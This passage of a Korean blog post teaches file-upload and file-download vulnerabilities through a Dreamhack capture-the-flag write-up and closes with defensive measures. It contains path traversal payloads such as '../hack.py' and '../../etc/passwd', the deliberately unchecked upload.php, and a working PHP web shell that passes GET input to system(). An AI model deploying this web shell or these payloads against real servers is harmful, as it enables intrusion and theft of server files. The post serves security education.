<span class="hljs-title class_">Origin</span>: https:<span class="hljs-comment">//storage.dreamhack.io</span>
<span class="hljs-title class_">Content</span>-<span class="hljs-title class_">Type</span>: multipart/form-data; boundary=----<span class="hljs-title class_">WebKitFormBoundary20y3eoLVSNf9Ns5i</span>
------<span class="hljs-title class_">WebKitFormBoundary20y3eoLVSNf9Ns5i</span>
<span class="hljs-title class_">Content</span>-<span class="hljs-title class_">Disposition</span>: form-data; name=<span class="hljs-string">&quot;file&quot;</span>; filename=<span class="hljs-string">&quot;test.txt&quot;</span>
<span class="hljs-title class_">Content</span>-<span class="hljs-title class_">Type</span>: text/plain
upload test !
------<span class="hljs-title class_">WebKitFormBoundary20y3eoLVSNf9Ns5i</span>--</code></pre>
<pre><code class="hljs language-tap">$ ls -lR
-rw-r--r-- <span class="hljs-number"> 1 </span>dreamhack  staff <span class="hljs-number"> 461 </span><span class="hljs-number"> 1 </span>30 21:52 app.py
drwxr-xr-x <span class="hljs-number"> 3 </span>dreamhack  staff  <span class="hljs-number"> 96 </span><span class="hljs-number"> 1 </span>30 21:31 uploads
./uploads:
total 8
-rw-r--r-- <span class="hljs-number"> 1 </span>dreamhack  staff  <span class="hljs-number"> 13 </span><span class="hljs-number"> 1 </span>30 21:31 test.txt</code></pre>
<h5>악의적인 요청</h5>
<pre><code class="hljs language-dart">POST /fileUpload HTTP/<span class="hljs-number">1.1</span>
<span class="hljs-title class_">Host</span>: storage.dreamhack.io
<span class="hljs-title class_">Origin</span>: https:<span class="hljs-comment">//storage.dreamhack.io</span>
<span class="hljs-title class_">Content</span>-<span class="hljs-title class_">Type</span>: multipart/form-data; boundary=----<span class="hljs-title class_">WebKitFormBoundary20y3eoLVSNf9Ns5i</span>
------<span class="hljs-title class_">WebKitFormBoundary20y3eoLVSNf9Ns5i</span>
<span class="hljs-title class_">Content</span>-<span class="hljs-title class_">Disposition</span>: form-data; name=<span class="hljs-string">&quot;file&quot;</span>; filename=<span class="hljs-string">&quot;../hack.py&quot;</span>
<span class="hljs-title class_">Content</span>-<span class="hljs-title class_">Type</span>: text/plain
[malicious file content]
------<span class="hljs-title class_">WebKitFormBoundary20y3eoLVSNf9Ns5i</span>--</code></pre>
<pre><code class="hljs language-tap">$ ls -lR
-rw-r--r-- <span class="hljs-number"> 1 </span>dreamhack  staff <span class="hljs-number"> 461 </span><span class="hljs-number"> 1 </span>30 21:52 app.py
-rw-r--r-- <span class="hljs-number"> 1 </span>dreamhack  staff <span class="hljs-number"> 431 </span><span class="hljs-number"> 1 </span>30 22:12 hack.py
drwxr-xr-x <span class="hljs-number"> 3 </span>dreamhack  staff  <span class="hljs-number"> 96 </span><span class="hljs-number"> 1 </span>30 21:31 uploads
./uploads:
total 8
-rw-r--r-- <span class="hljs-number"> 1 </span>dreamhack  staff  <span class="hljs-number"> 13 </span><span class="hljs-number"> 1 </span>30 21:31 test.txt</code></pre>
<h4>악성 파일 업로드</h4>
<p><b>악성 파일 업로드 취약점은 이용자가 파일을 업로드할 때, 이를 제대로 검사하지 않아서 발생하는 취약점</b>을 말한다.</p>
<h5>웹 셸</h5>
<p><b>웹 서버</b>는 .php, .jsp, .asp와 같은 확장자의 파일을 <b>Common Gateway Interface(CGI)로 실행하고, 그 결과를 이용자에게 반환</b>한다.<br><b>악성 파일 업로드 취약점은 이용자가 파일을 업로드할 때, 이를 제대로 검사하지 않아서 발생하는 취약점</b>을 말한다.<br>아래는 이용자가 요청한 파일의 <b>확장자가 정규표현식 <code>&quot;.+\.ph(p[3457]?|t|tml)$&quot;</code>를 만족하면, x-httpd-php로 핸들링하게 하는 Apache 설정 파일</b>이다. <b>x-httpd-php는 PHP 엔진이며 요청한 파일을 실행하고, 그 결과를 반환</b>한다. <b><code>.php</code>, <code>.php3</code>, <code>.phtml</code>이 위의 정규표현식을 만족</b>한다.</p>
<p><b>Apache 설정 파일</b></p>
<pre><code class="hljs language-dart">&lt;<span class="hljs-title class_">FilesMatch</span> <span class="hljs-string">&quot;.+\.ph(p[3457]?|t|tml)$&quot;</span>&gt;
    <span class="hljs-title class_">SetHandler</span> application/x-httpd-php
&lt;/<span class="hljs-title class_">FilesMatch</span>&gt;</code></pre>
<p>많은 웹 서버들이 php파일에 대해 위와 같은 핸들링을 지원한다. 따라서 <b>공격자가 임의의 php 소스 파일을 .php 확장자로 업로드하고, GET 요청을 보낼 수 있다면 CGI에 의해 해당 코드가 실행</b>되도록 할 수 있다.</p>
<h5>악의적인 웹 리소스</h5>
<p><b>웹 브라우저는 파일의 확장자나 응답의 MIME 타입에 따라 요청을 다양하게 처리</b>한다. 만약 요청한 파일의 확장자가 <code>.html</code> 이거나, 반환된 <code>Content-Type</code> 헤더가 <code>text/html</code>일 경우 응답은 HTML 엔진으로 처리된다. 또, 파일의 확장자가 <code>.png</code>, <code>.jpg</code>등의 이미지 확장자이거나, <code>Content-Type</code>이 <code>image/png</code>일 경우에는 이미지로 렌더링된다.</p>
<p>만약 <b>공격자가 서버에 <code>exploit.html</code>을 업로드하고, 이에 접근하는 URL이 <code>https://dreamhack.io/uploads/exploit.html</code>이라면, 브라우저는 이를 HTML로 해석</b>된다. <b><code>exploit.html</code>에 악의적인 스크립트를 삽입하면, Cross-Site-Scripting (XSS) 공격으로 이어질 수 있다.</b></p>
<h3>File Download Vulnerability</h3>
<p><b>파일 다운로드 취약점(File Download Vulnerability)은 웹 서비스를 통해 서버의 파일 시스템에 존재하는 파일의 이름을 임의로 정하고 다운로드 할 수 있을 때 발생하는 보안 취약점</b>이다.</p>
<p>웹 서비스는 이용자가 업로드한 파일을 다운로드 받거나 이미지를 불러올 때 특정 디렉터리에 있는 파일만 접근하도록 해야 한다. <b>Path Traversal을 이용한 파일 다운로드 취약점은 파일 이름을 직접 입력 받아 임의 디렉터리에 있는 파일을 다운로드 받을 수 있는 취약점</b>을 말한다.</p>
<p><b>파일 다운로드 취약점이 발생하는 URL 패턴</b></p>
<pre><code class="hljs language-awk">https:<span class="hljs-regexp">//</span>vulnerable-web.dreamhack.io<span class="hljs-regexp">/download/</span>?filename=notes.txt

https:<span class="hljs-regexp">//</span>vulnerable-web.dreamhack.io<span class="hljs-regexp">/download/</span>?filename=..<span class="hljs-regexp">/../</span>..<span class="hljs-regexp">/../</span>..<span class="hljs-regexp">/../</span>etc/passwd

https:<span class="hljs-regexp">//</span>vulnerable-web.dreamhack.io/images.php?fn=<span class="hljs-number">6</span>ed0dd02806fa89e233b84f4.png</code></pre>
<h3>wargame 풀이</h3>
<p><a href="https://dreamhack.io/wargame/challenges/38/" target="_blank" rel="noopener">command-injection-1</a> 문제를 풀이해 보았다.</p>
<p><b>index.php</b></p>
<pre><code class="hljs language-xml"><span class="hljs-tag">&lt;<span class="hljs-name">html</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">head</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">link</span> <span class="hljs-attr">rel</span>=<span class="hljs-string">&quot;stylesheet&quot;</span> <span class="hljs-attr">href</span>=<span class="hljs-string">&quot;https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css&quot;</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">title</span>&gt;</span>Image Storage<span class="hljs-tag">&lt;/<span class="hljs-name">title</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">head</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">body</span>&gt;</span>
    <span class="hljs-comment">&lt;!-- Fixed navbar --&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">nav</span> <span class="hljs-attr">class</span>=<span class="hljs-string">&quot;navbar navbar-default navbar-fixed-top&quot;</span>&gt;</span>
      <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">&quot;container&quot;</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">&quot;navbar-header&quot;</span>&gt;</span>
          <span class="hljs-tag">&lt;<span class="hljs-name">a</span> <span class="hljs-attr">class</span>=<span class="hljs-string">&quot;navbar-brand&quot;</span> <span class="hljs-attr">href</span>=<span class="hljs-string">&quot;/&quot;</span>&gt;</span>Image Storage<span class="hljs-tag">&lt;/<span class="hljs-name">a</span>&gt;</span>
        <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">id</span>=<span class="hljs-string">&quot;navbar&quot;</span>&gt;</span>
          <span class="hljs-tag">&lt;<span class="hljs-name">ul</span> <span class="hljs-attr">class</span>=<span class="hljs-string">&quot;nav navbar-nav&quot;</span>&gt;</span>
            <span class="hljs-tag">&lt;<span class="hljs-name">li</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">a</span> <span class="hljs-attr">href</span>=<span class="hljs-string">&quot;/&quot;</span>&gt;</span>Home<span class="hljs-tag">&lt;/<span class="hljs-name">a</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">li</span>&gt;</span>
            <span class="hljs-tag">&lt;<span class="hljs-name">li</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">a</span> <span class="hljs-attr">href</span>=<span class="hljs-string">&quot;/list.php&quot;</span>&gt;</span>List<span class="hljs-tag">&lt;/<span class="hljs-name">a</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">li</span>&gt;</span>
            <span class="hljs-tag">&lt;<span class="hljs-name">li</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">a</span> <span class="hljs-attr">href</span>=<span class="hljs-string">&quot;/upload.php&quot;</span>&gt;</span>Upload<span class="hljs-tag">&lt;/<span class="hljs-name">a</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">li</span>&gt;</span>
          <span class="hljs-tag">&lt;/<span class="hljs-name">ul</span>&gt;</span>

        <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span><span class="hljs-comment">&lt;!--/.nav-collapse --&gt;</span>
      <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">nav</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">br</span>/&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">br</span>/&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">&quot;container&quot;</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">h2</span>&gt;</span>Upload and Share Image !<span class="hljs-tag">&lt;/<span class="hljs-name">h2</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span> 
<span class="hljs-tag">&lt;/<span class="hljs-name">body</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">html</span>&gt;</span></code></pre>
<p><b>list.php</b></p>
<pre><code class="hljs language-php-template"><span class="language-xml"><span class="hljs-tag">&lt;<span class="hljs-name">html</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">head</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">link</span> <span class="hljs-attr">rel</span>=<span class="hljs-string">&quot;stylesheet&quot;</span> <span class="hljs-attr">href</span>=<span class="hljs-string">&quot;https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css&quot;</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">title</span>&gt;</span>Image Storage<span class="hljs-tag">&lt;/<span class="hljs-name">title</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">head</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">body</span>&gt;</span>
    <span class="hljs-comment">&lt;!-- Fixed navbar --&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">nav</span> <span class="hljs-attr">class</span>=<span class="hljs-string">&quot;navbar navbar-default navbar-fixed-top&quot;</span>&gt;</span>
      <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">&quot;container&quot;</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">&quot;navbar-header&quot;</span>&gt;</span>
          <span class="hljs-tag">&lt;<span class="hljs-name">a</span> <span class="hljs-attr">class</span>=<span class="hljs-string">&quot;navbar-brand&quot;</span> <span class="hljs-attr">href</span>=<span class="hljs-string">&quot;/&quot;</span>&gt;</span>Image Storage<span class="hljs-tag">&lt;/<span class="hljs-name">a</span>&gt;</span>
        <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">id</span>=<span class="hljs-string">&quot;navbar&quot;</span>&gt;</span>
          <span class="hljs-tag">&lt;<span class="hljs-name">ul</span> <span class="hljs-attr">class</span>=<span class="hljs-string">&quot;nav navbar-nav&quot;</span>&gt;</span>
            <span class="hljs-tag">&lt;<span class="hljs-name">li</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">a</span> <span class="hljs-attr">href</span>=<span class="hljs-string">&quot;/&quot;</span>&gt;</span>Home<span class="hljs-tag">&lt;/<span class="hljs-name">a</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">li</span>&gt;</span>
            <span class="hljs-tag">&lt;<span class="hljs-name">li</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">a</span> <span class="hljs-attr">href</span>=<span class="hljs-string">&quot;/list.php&quot;</span>&gt;</span>List<span class="hljs-tag">&lt;/<span class="hljs-name">a</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">li</span>&gt;</span>
            <span class="hljs-tag">&lt;<span class="hljs-name">li</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">a</span> <span class="hljs-attr">href</span>=<span class="hljs-string">&quot;/upload.php&quot;</span>&gt;</span>Upload<span class="hljs-tag">&lt;/<span class="hljs-name">a</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">li</span>&gt;</span>
          <span class="hljs-tag">&lt;/<span class="hljs-name">ul</span>&gt;</span>

        <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span><span class="hljs-comment">&lt;!--/.nav-collapse --&gt;</span>
      <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">nav</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">br</span>/&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">br</span>/&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">br</span>/&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">&quot;container&quot;</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">ul</span>&gt;</span>
    </span><span class="language-php"><span class="hljs-meta">&lt;?php</span>
        <span class="hljs-variable">$directory</span> = <span class="hljs-string">&#x27;./uploads/&#x27;</span>;
        <span class="hljs-variable">$scanned_directory</span> = <span class="hljs-title function_ invoke__">array_diff</span>(<span class="hljs-title function_ invoke__">scandir</span>(<span class="hljs-variable">$directory</span>), <span class="hljs-keyword">array</span>(<span class="hljs-string">&#x27;..&#x27;</span>, <span class="hljs-string">&#x27;.&#x27;</span>, <span class="hljs-string">&#x27;index.html&#x27;</span>));
        <span class="hljs-keyword">foreach</span> (<span class="hljs-variable">$scanned_directory</span> <span class="hljs-keyword">as</span> <span class="hljs-variable">$key</span> =&gt; <span class="hljs-variable">$value</span>) {
            <span class="hljs-keyword">echo</span> <span class="hljs-string">&quot;&lt;li&gt;&lt;a href=&#x27;<span class="hljs-subst">{$directory}</span><span class="hljs-subst">{$value}</span>&#x27;&gt;&quot;</span>.<span class="hljs-variable">$value</span>.<span class="hljs-string">&quot;&lt;/a&gt;&lt;/li&gt;&lt;br/&gt;&quot;</span>;
        }
    <span class="hljs-meta">?&gt;</span></span><span class="language-xml"> 
    <span class="hljs-tag">&lt;/<span class="hljs-name">ul</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span> 
<span class="hljs-tag">&lt;/<span class="hljs-name">body</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">html</span>&gt;</span></span></code></pre>
<p><b>upload.php</b></p>
<pre><code class="hljs language-php-template"><span class="language-php"><span class="hljs-meta">&lt;?php</span>
  <span class="hljs-keyword">if</span> (<span class="hljs-variable">$_SERVER</span>[<span class="hljs-string">&#x27;REQUEST_METHOD&#x27;</span>] === <span class="hljs-string">&#x27;POST&#x27;</span>) {
    <span class="hljs-keyword">if</span> (<span class="hljs-keyword">isset</span>(<span class="hljs-variable">$_FILES</span>)) {
      <span class="hljs-variable">$directory</span> = <span class="hljs-string">&#x27;./uploads/&#x27;</span>;
      <span class="hljs-variable">$file</span> = <span class="hljs-variable">$_FILES</span>[<span class="hljs-string">&quot;file&quot;</span>];
      <span class="hljs-variable">$error</span> = <span class="hljs-variable">$file</span>[<span class="hljs-string">&quot;error&quot;</span>];
      <span class="hljs-variable">$name</span> = <span class="hljs-variable">$file</span>[<span class="hljs-string">&quot;name&quot;</span>];
      <span class="hljs-variable">$tmp_name</span> = <span class="hljs-variable">$file</span>[<span class="hljs-string">&quot;tmp_name&quot;</span>];
     
      <span class="hljs-keyword">if</span> ( <span class="hljs-variable">$error</span> &gt; <span class="hljs-number">0</span> ) {
        <span class="hljs-keyword">echo</span> <span class="hljs-string">&quot;Error: &quot;</span> . <span class="hljs-variable">$error</span> . <span class="hljs-string">&quot;&lt;br&gt;&quot;</span>;
      }<span class="hljs-keyword">else</span> {
        <span class="hljs-keyword">if</span> (<span class="hljs-title function_ invoke__">file_exists</span>(<span class="hljs-variable">$directory</span> . <span class="hljs-variable">$name</span>)) {
          <span class="hljs-keyword">echo</span> <span class="hljs-variable">$name</span> . <span class="hljs-string">&quot; already exists. &quot;</span>;
        }<span class="hljs-keyword">else</span> {
          <span class="hljs-keyword">if</span>(<span class="hljs-title function_ invoke__">move_uploaded_file</span>(<span class="hljs-variable">$tmp_name</span>, <span class="hljs-variable">$directory</span> . <span class="hljs-variable">$name</span>)){
            <span class="hljs-keyword">echo</span> <span class="hljs-string">&quot;Stored in: &quot;</span> . <span class="hljs-variable">$directory</span> . <span class="hljs-variable">$name</span>;
          }
        }
      }
    }<span class="hljs-keyword">else</span> {
        <span class="hljs-keyword">echo</span> <span class="hljs-string">&quot;Error !&quot;</span>;
    }
    <span class="hljs-keyword">die</span>();
  }
<span class="hljs-meta">?&gt;</span></span><span class="language-xml">
<span class="hljs-tag">&lt;<span class="hljs-name">html</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">head</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">link</span> <span class="hljs-attr">rel</span>=<span class="hljs-string">&quot;stylesheet&quot;</span> <span class="hljs-attr">href</span>=<span class="hljs-string">&quot;https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css&quot;</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">title</span>&gt;</span>Image Storage<span class="hljs-tag">&lt;/<span class="hljs-name">title</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">head</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">body</span>&gt;</span>
    <span class="hljs-comment">&lt;!-- Fixed navbar --&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">nav</span> <span class="hljs-attr">class</span>=<span class="hljs-string">&quot;navbar navbar-default navbar-fixed-top&quot;</span>&gt;</span>
      <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">&quot;container&quot;</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">&quot;navbar-header&quot;</span>&gt;</span>
          <span class="hljs-tag">&lt;<span class="hljs-name">a</span> <span class="hljs-attr">class</span>=<span class="hljs-string">&quot;navbar-brand&quot;</span> <span class="hljs-attr">href</span>=<span class="hljs-string">&quot;/&quot;</span>&gt;</span>Image Storage<span class="hljs-tag">&lt;/<span class="hljs-name">a</span>&gt;</span>
        <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">id</span>=<span class="hljs-string">&quot;navbar&quot;</span>&gt;</span>
          <span class="hljs-tag">&lt;<span class="hljs-name">ul</span> <span class="hljs-attr">class</span>=<span class="hljs-string">&quot;nav navbar-nav&quot;</span>&gt;</span>
            <span class="hljs-tag">&lt;<span class="hljs-name">li</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">a</span> <span class="hljs-attr">href</span>=<span class="hljs-string">&quot;/&quot;</span>&gt;</span>Home<span class="hljs-tag">&lt;/<span class="hljs-name">a</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">li</span>&gt;</span>
            <span class="hljs-tag">&lt;<span class="hljs-name">li</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">a</span> <span class="hljs-attr">href</span>=<span class="hljs-string">&quot;/list.php&quot;</span>&gt;</span>List<span class="hljs-tag">&lt;/<span class="hljs-name">a</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">li</span>&gt;</span>
            <span class="hljs-tag">&lt;<span class="hljs-name">li</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">a</span> <span class="hljs-attr">href</span>=<span class="hljs-string">&quot;/upload.php&quot;</span>&gt;</span>Upload<span class="hljs-tag">&lt;/<span class="hljs-name">a</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">li</span>&gt;</span>
          <span class="hljs-tag">&lt;/<span class="hljs-name">ul</span>&gt;</span>
        <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span><span class="hljs-comment">&lt;!--/.nav-collapse --&gt;</span>
      <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">nav</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">br</span>/&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">br</span>/&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">br</span>/&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">&quot;container&quot;</span>&gt;</span>
      <span class="hljs-tag">&lt;<span class="hljs-name">form</span> <span class="hljs-attr">enctype</span>=<span class="hljs-string">&#x27;multipart/form-data&#x27;</span> <span class="hljs-attr">method</span>=<span class="hljs-string">&quot;POST&quot;</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">&quot;form-group&quot;</span>&gt;</span>
          <span class="hljs-tag">&lt;<span class="hljs-name">label</span> <span class="hljs-attr">for</span>=<span class="hljs-string">&quot;InputFile&quot;</span>&gt;</span>파일 업로드<span class="hljs-tag">&lt;/<span class="hljs-name">label</span>&gt;</span>
          <span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;file&quot;</span> <span class="hljs-attr">id</span>=<span class="hljs-string">&quot;InputFile&quot;</span> <span class="hljs-attr">name</span>=<span class="hljs-string">&quot;file&quot;</span>&gt;</span>
        <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;submit&quot;</span> <span class="hljs-attr">class</span>=<span class="hljs-string">&quot;btn btn-default&quot;</span> <span class="hljs-attr">value</span>=<span class="hljs-string">&quot;Upload&quot;</span>&gt;</span>
      <span class="hljs-tag">&lt;/<span class="hljs-name">form</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span> 
<span class="hljs-tag">&lt;/<span class="hljs-name">body</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">html</span>&gt;</span></span></code></pre>
<p><code>list.php</code>는 <code>./uploads/</code>의 파일들 중 <code>.</code>, <code>..</code>, <code>index.html</code>을 제외하고 나열한다.<br><img src="https://velog.velcdn.com/images/njw/post/15076e06-ce4f-4417-ba74-1f871110f161/image.png" alt="[보안] File Vulnerability 부셔보기!" width="642" height="109" loading="lazy" decoding="async"></p>
<p><b><code>upload.php</code>는 이용자가 업로드한 파일을 <code>uploads</code> 폴더에 복사하며, 이용자는 <code>http://host1.dreamhack.games:[PORT]/uploads/[FILENAME]</code> URL을 통해 접근</b>할 수 있다.</p>
<p>만약 같은 이름의 파일이 있다면 <code>&quot;already exists&quot;</code>라는 메시지를 반환한다.<br><img src="https://velog.velcdn.com/images/njw/post/4669463e-1ee6-42c7-9dd4-b04785cb478d/image.png" alt="[보안] File Vulnerability 부셔보기!" width="465" height="417" loading="lazy" decoding="async"></p>
<h4>취약점 분석</h4>
<p><code>upload.php</code>는 업로드하는 파일에 어떠한 처리도 하지 않으므로 <b><code>upload.php</code>에 웹 쉘 파일을 업로드하여 쉘 권한을 획득</b>할 수 있다.</p>
<p><b>웹 쉘 php 파일</b></p>
<pre><code class="hljs language-php-template"><span class="language-xml">//https://gist.github.com/joswr1ght/22f40787de19d80d110b37fb79ac3985
<span class="hljs-tag">&lt;<span class="hljs-name">html</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">body</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">form</span> <span class="hljs-attr">method</span>=<span class="hljs-string">&quot;GET&quot;</span> <span class="hljs-attr">name</span>=<span class="hljs-string">&quot;</span></span></span><span class="language-php"><span class="hljs-meta">&lt;?php</span> <span class="hljs-keyword">echo</span> <span class="hljs-title function_ invoke__">basename</span>(<span class="hljs-variable">$_SERVER</span>[<span class="hljs-string">&#x27;PHP_SELF&#x27;</span>]); <span class="hljs-meta">?&gt;</span></span><span class="language-xml"><span class="hljs-tag"><span class="hljs-string">&quot;</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;TEXT&quot;</span> <span class="hljs-attr">name</span>=<span class="hljs-string">&quot;cmd&quot;</span> <span class="hljs-attr">autofocus</span> <span class="hljs-attr">id</span>=<span class="hljs-string">&quot;cmd&quot;</span> <span class="hljs-attr">size</span>=<span class="hljs-string">&quot;80&quot;</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;SUBMIT&quot;</span> <span class="hljs-attr">value</span>=<span class="hljs-string">&quot;Execute&quot;</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">form</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">pre</span>&gt;</span>
</span><span class="language-php"><span class="hljs-meta">&lt;?php</span>
    <span class="hljs-keyword">if</span>(<span class="hljs-keyword">isset</span>(<span class="hljs-variable">$_GET</span>[<span class="hljs-string">&#x27;cmd&#x27;</span>]))
    {
        <span class="hljs-title function_ invoke__">system</span>(<span class="hljs-variable">$_GET</span>[<span class="hljs-string">&#x27;cmd&#x27;</span>]);
    }
<span class="hljs-meta">?&gt;</span></span><span class="language-xml"><span class="hljs-tag">&lt;/<span class="hljs-name">pre</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">body</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">html</span>&gt;</span></span></code></pre>
<p>웹 쉘을 업로드하고 웹 쉘에서 <code>ls /</code> 명령어를 실행하면 flag.txt가 존재하고 있음을 알 수 있다.<br><img src="https://velog.velcdn.com/images/njw/post/810ec12a-14ad-46a5-87e2-04e10d5ecdfa/image.png" alt="[보안] File Vulnerability 부셔보기!" width="714" height="373" loading="lazy" decoding="async"></p>
<p>웹 쉘에서 <code>cat /flag.txt</code>를 통해 플래그를 획득할 수 있다.</p>
<p>플래그 획득 성공!<br><img src="https://velog.velcdn.com/images/njw/post/507ec8b3-7d13-462c-b12f-80a2d55ee163/image.png" alt="[보안] File Vulnerability 부셔보기!" width="726" height="135" loading="lazy" decoding="async"></p>
<h3>File Vulnerability 방어</h3>
<h4>Path Traversal 방어</h4>
<p>공격자가 <b>../와 같은 경로 조작 문자열을 사용하여 의도하지 않은 디렉터리에 접근하는 것을 막기 위해 .., /, \ 등의 특수문자를 파일명에서 제거하거나 거부</b>해야 한다.</p>
<h4>File Upload Vulnerability 방어</h4>
<p>PHP의 basename()이나 Python의 os.path.basename() 함수는 경로 정보는 모두 버리고 <b>오직 순수 파일명만 추출하므로 이를 이용해도 방어</b>할 수 있다.</p>
<p>서버에서 실행 가능한 스크립트 파일이 업로드되거나 실행되는 것을 원천 차단해야 하기 위해 <b>화이트리스트 방식의 확장자 검사와 파일 실행 권한 제거, 파일명 난독화 등의 작업을 진행</b>해야 한다.</p>
<h4>File Download Vulnerability 방어</h4>
<p>URL에 직접 파일 경로와 이름을 출력하는 것이 아닌 <b>인조 선택자 등을 이용하여 직접적으로 조작할 수 없어야 한다.</b> 이 외에도 <b>다운로드 경로 고정,</b> <b>권한 검증</b> 등의 작업을 추가로 진행하면 좋다.</p>
<h2>마무리</h2>
<p>파일과 관련된 취약점을 알아보았다! 나는 웹에서 파일을 처리할 때 UUID를 이용하는 습관이 있는데 자동으로 취약점 막아주는 좋은 습관이었던듯. ㄴㅇㅅ~</p>
